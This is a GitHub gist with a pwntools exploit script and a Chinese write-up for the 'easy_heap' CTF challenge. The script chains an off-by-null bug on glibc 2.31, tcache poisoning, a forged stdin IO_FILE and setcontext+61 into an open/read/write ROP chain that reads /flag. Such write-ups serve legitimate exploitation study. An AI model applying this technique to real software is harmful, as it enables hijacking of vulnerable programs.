Created
September 18, 2020 14:21
-
-
Save Mech0n/43bb087bfe0fbe9f80dbccb815f5cab3 to your computer and use it in GitHub Desktop.
setcontext+61 && off by null 2.31
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/python | |
#-*- coding: utf-8 -*- | |
from pwn import * | |
context.terminal = ['tmux', 'splitw', '-h'] | |
context(arch = 'amd64' , os = 'linux', log_level='debug') | |
# p = process(['setarch', 'x86_64', '-R', './easy_heap']) | |
p = process('./easy_heap') | |
libc = ELF('./libc.so') | |
def add(size): | |
p.sendlineafter('Choice:', str(1)) | |
p.sendlineafter('Size: ', str(size)) | |
def edit(idx, payload): | |
p.sendlineafter('Choice:', str(2)) | |
p.sendlineafter('Index: ', str(idx)) | |
p.sendafter('Content: ', payload) | |
def delete(idx): | |
p.sendlineafter('Choice:', str(3)) | |
p.sendlineafter('Index: ', str(idx)) | |
def show(idx): | |
p.sendlineafter('Choice:', str(4)) | |
p.sendlineafter('Index: ', str(idx)) | |
if __name__ == "__main__": | |
add(0x1000) # 0 | |
add(0x1000) # 1 | |
delete(0) | |
add(0x1000) # 0 | |
show(0) | |
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ebbe0 | |
success('LIBC: ' + str(hex(libc.address))) | |
delete(0) | |
delete(1) | |
for i in range(6): # 0 - 5 | |
add(0x1000) | |
add(0xbc0) # 6 | |
for i in range(7): # 7 - 13 | |
add(0x28) | |
add(0xb20) # 14 | |
add(0x10) # 15 binary | |
delete(14) | |
add(0x1000) # 14 | |
add(0x28) # 16 * | |
payload = p64(0) + p64(0x521) + p8(0x40) | |
edit(16, payload) | |
add(0x28) # 17 | |
add(0x28) # 18 | |
add(0x28) # 19 | |
add(0x28) # 20 | |
for i in range(7): # 7 - 13 | |
delete(7 + i ) | |
delete(19) | |
delete(17) | |
for i in range(7): # 7 - 13 | |
add(0x28) | |
add(0x400) # 17 | |
add(0x28) # 19 | |
payload = p64(0) + p8(0x20) | |
edit(19, payload) | |
add(0x28) # 21 | |
for i in range(7): # 7 - 13 | |
delete(7 + i ) | |
delete(18) | |
delete(16) | |
for i in range(7): # 7 - 13 | |
add(0x28) | |
add(0x28) # 16 | |
payload = p8(0x20) | |
edit(16, payload) | |
add(0x28) # 18 | |
add(0x28) # 22 | |
add(0x5f8) # 23 | |
add(0x100) # 24 binary | |
payload = 'a' * 0x20 + p64(0x520) | |
edit(22, payload) | |
delete(23) | |
''' | |
pwndbg> x/40gx 0x555555558400 | |
0x555555558460: 0x00005555555592a0 0x000055555555a2b0 | |
0x555555558470: 0x000055555555b2c0 0x000055555555c2d0 | |
0x555555558480: 0x000055555555d2e0 0x000055555555e2f0 | |
0x555555558490: 0x000055555555f300 0x000055555555fed0 | |
0x5555555584a0: 0x000055555555ff00 0x000055555555ff30 | |
0x5555555584b0: 0x000055555555ff60 0x000055555555ff90 | |
0x5555555584c0: 0x000055555555ffc0 0x000055555555fff0 | |
0x5555555584d0: 0x0000555555560b70 0x0000555555560b50 | |
0x5555555584e0: 0x0000555555560020 0x0000555555560110 # 17 | |
0x5555555584f0: 0x0000555555560080 0x0000555555560050 | |
0x555555558500: 0x00005555555600e0 0x00005555555600b0 | |
0x555555558510: 0x0000555555560520 0x0000000000000000 # 23 | |
0x555555558520: 0x0000555555561b80 0x0000000000000000 | |
0x555555558530: 0x0000000000000000 0x0000000000000000 | |
pwndbg> bins | |
all: 0x555555560020 __ 0x7ffff7fb7be0 (main_arena+96) __ 0x555555560020 /* ' ' */ | |
''' | |
__free_hook = libc.sym['__free_hook'] | |
__malloc_hook = libc.sym['__malloc_hook'] | |
stdin = libc.sym['_IO_2_1_stdin_'] | |
IO_str_jumps = libc.address + 0x1ed560 | |
setcontext = libc.sym['setcontext'] | |
open_ = libc.sym['open'] | |
read_ = libc.sym['read'] | |
write_ = libc.sym['write'] | |
puts_ = libc.sym['puts'] | |
pop_rdi_ret = 0x0000000000026b72 + libc.address | |
pop_rsi_ret = 0x0000000000027529 + libc.address | |
pop_rdx2ret = 0x00000000001626d6 + libc.address | |
frame = SigreturnFrame() | |
frame.rax = 0 | |
frame.rsp = __free_hook | |
frame.rdi = 0 | |
frame.rsi = __free_hook | |
frame.rdx = 0x2000 | |
frame.rip = read_ | |
rop = flat([ | |
pop_rdi_ret, | |
__free_hook + 0xf8, | |
p64(pop_rsi_ret), | |
p64(0), | |
open_, | |
pop_rdi_ret, | |
3, | |
pop_rsi_ret, | |
__free_hook + 0x200, | |
pop_rdx2ret, | |
0x100, | |
0x100, | |
read_, | |
pop_rdi_ret, | |
__free_hook + 0x200, | |
puts_, | |
]) | |
rop = str(rop).ljust(0xf8, '\x00') | |
rop += '/flag\x00\x00\x00' | |
add(0xd0) # 23 | |
add(0x200) # 25 == 17 | |
add(0x200) # 26 | |
add(0xf0) # 27 | |
delete(26) | |
delete(25) | |
payload = p64(stdin) | |
edit(17, payload) | |
add(0x200) #25 | |
add(0x200) #26 == __free_hook | |
IO = '\x00'*0x28 | |
IO += p64(stdin + 0xe0) | |
IO = IO.ljust(0xD8,'\x00') | |
IO += p64(IO_str_jumps) | |
IO += str(frame) | |
payload = IO + 'F' * 0x18 + p64(setcontext + 61) | |
edit(26, payload) | |
gdb.attach(p) | |
p.sendlineafter('Choice:','5') | |
p.sendline(rop) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
羊城杯 easy_heap
0x1 前置补偿
[原创]glibc2.29下的off-by-null
0x2 分析
程序有个Off by null。所以首先就是在2.31下的off by null来劫持tcache bin。由于程序有沙盒,所以然后使用
malloc_hook
和IO配合setcontext
来ORW。因为2.31下的setcontext
的用法里使用的是rdx
,不再是rdi
,这里就参考了FMYY师傅的方法来使用setcontext
的。所以ORW的流程就是:
malloc(0x1000)
来leak libcoff by null
覆盖
stdin
来使用setcontext
ORW
这里就只记录一下
setcontext
这里是怎么使用的。首先
setcontext
的代码部分:可以看到,我们假设这里控制了
rdx
指向我们伪造的frame
(通过SigreturnFrame()
),然后跳到setcontext + 61
就可以设置程序,这段代码结束之后,我们会去运行frame.rip
,最后ret
到frame.rsp
。所以我们的打算是在这里通过
frame.rip
去运行read()
函数来写入ORW的ROP链。然后通过frame.rsp
来到这段ROP链执行ORW拿到flag。现在需要说说怎么折腾这个
rdx
了。(参考菜鸡的 Pwn 08 IO_FILE 利用)在
exit()
中,实际运行的是__run_exit_handlers()
这里通过
cur
也就是exit_function_list
来调用到了_IO_cleanup()
这里就到了稍微有些熟悉的
_IO_flush_all_lockp()
在这个函数里,遍历
_IO_list_all
,里面就有_IO_2_1_stdin_
然后加入条件满足(
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
),就会执行_IO_OVERFLOW (fp, EOF)
假设我们修改了
vtable
指针指向_IO_str_jumps
,就会运行__GI__IO_str_overflow
,(偷懒直接断点断在了malloc()
,发现是在_IO_str_overflow()
里面调用了malloc
,这样我们就可以用___malloc_hook
来使用setcontext
)可以发现在[Line27]我们去调用了
malloc()
,但是我们还是没说到rdx
是怎么指向的frame
的。这段的汇编代码里,对比上面的代码,我们发现在IOFILE的
flag
是0
的时候就会一直运行到malloc()
,在这个过程中,可以看到[Line19]中设置了rdx
,这时rdi
自然是_IO_2_1_stdin_
里面的数据,只要伪造这个位置的数据即可。所以在这些步骤完成后,我们就成功利用
exit()
通过setcontext
调用了read()
函数读取ROP链,并实现了栈迁移。